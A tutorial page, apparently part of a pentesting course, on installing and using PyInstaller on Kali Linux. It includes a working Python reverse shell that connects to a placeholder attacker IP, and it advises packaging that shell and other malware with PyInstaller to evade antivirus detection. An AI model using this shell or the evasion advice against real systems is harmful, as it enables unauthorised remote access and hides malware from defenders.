Pablo Guides

# Course #471: PyInstaller Essentials for Kali Linux

## Section 1: Introduction to PyInstaller

In this section, we will delve into one of the most powerful tools available for Python developers and pentesters alike—PyInstaller. This tool is widely used for converting Python applications into standalone executables, which can be immensely useful in the field of malware analysis and penetration testing.

### What is PyInstaller?

PyInstaller is a popular tool that packages Python applications into stand-alone executables, under Windows, Linux, and Mac OS X. This means that you can distribute your Python application to users who do not have Python installed on their system. For penetration testers, PyInstaller can be utilized to create payloads that are less likely to trigger antivirus detection, as well as to analyze and reverse-engineer malware that has been packaged in this fashion.

### Installation and Configuration on Kali Linux

Before we dive into the step-by-step usage and real-world applications of PyInstaller, we need to set it up on our Kali Linux environment.

#### Step 1: Update Your System

Open your terminal and ensure your Kali Linux distribution is up to date:

"`bash
sudo apt update && sudo apt upgrade -y
"`

#### Step 2: Install Required Packages

Install Python and pip (Python package installer) if they are not already installed:

"`bash
sudo apt install python3 python3-pip -y
"`

#### Step 3: Install PyInstaller

Now, you can easily install PyInstaller using pip:

"`bash
pip3 install pyinstaller
"`

Verify that PyInstaller is installed correctly:

"`bash
pyinstaller –version
"`

You should see something like `5.1`, or a similar version number indicating that PyInstaller has been installed successfully.

### Step-by-Step Usage of PyInstaller

Now that you have PyInstaller installed, let's explore how to use it effectively.

#### Basic Usage

To create a standalone executable from a simple Python script, you can follow these steps:

1. **Create a Sample Script**: Let's create a simple Python script named `hello.py`.

"`python
# hello.py
print("Hello, World!")
"`

2. **Compile the Script**: Use PyInstaller to compile your script:

"`bash
pyinstaller –onefile hello.py
"`

This command tells PyInstaller to create a single executable file. After running this command, you will see several new folders and files created in your working directory.

3. **Find Your Executable**: The executable file will be located in the `dist` directory:

"`bash
cd dist
./hello
"`

When you run `./hello`, you should see the output:

"`
Hello, World!
"`

### Real-World Use Cases for Pentesters

#### Use Case 1: Crafting a Reverse Shell

One of the more common tasks in penetration testing is crafting a reverse shell. PyInstaller can assist in packaging Python scripts that create reverse shells, making them less detectable.

**Example Reverse Shell Script**

"`python
# reverse_shell.py
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("YOUR_IP_ADDRESS", YOUR_PORT))

os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
p = subprocess.call(["/bin/sh", "-i"])
"`

Replace `YOUR_IP_ADDRESS` and `YOUR_PORT` with your own listening IP and port. Compile this script using PyInstaller, just as shown previously. This will create a standalone executable that, when executed on a target machine, will connect back to your machine.

#### Use Case 2: Evading Antivirus

Using PyInstaller becomes especially relevant when malware authors attempt to evade detection. By packaging their Python malware with PyInstaller, they can obfuscate the original source code, making static analysis more difficult for security researchers.

The process is as simple as:

"`bash
pyinstaller –onefile malicious_script.py
"`

### Detailed Technical Explanations

Now, let’s dive deeper into some technical aspects of PyInstaller that can enhance your understanding and usage.

#### Understanding PyInstaller Architecture

PyInstaller works by analyzing your Python programs to discover every data file and library they need in order to execute. It then collects copies of all those files—including the active Python interpreter!—and puts them with your script in a single folder, or optionally in a single executable file.

– **Analysis Phase**: During this phase, PyInstaller inspects the Python scripts and determines the libraries required.

– **Collection Phase**: It collects the necessary files including libraries, dependencies, and the Python interpreter.

– **Packaging Phase**: Finally, it packages everything into an executable.

#### External Reference Links

For additional reading and references, you may find the following links useful:

– [PyInstaller Official Documentation](https://pyinstaller.readthedocs.io/en/stable/)
– [Python Official Documentation](https://docs.python.org/3/)
– [Kali Linux Official Documentation](https://www.kali.org/docs/)

These resources will help you dive deeper into the features and functionalities of both Python and PyInstaller.

### Conclusion

In this section, we've covered the installation and configuration of PyInstaller on Kali Linux, explored basic usage, and examined real-world use cases, including creating reverse shells and evading antivirus detection. As you continue into the following sections of this course, you'll gain more advanced insights and techniques that will bolster your skills as a pentester using PyInstaller.

—

Made by pablo rotem / פבלו רותם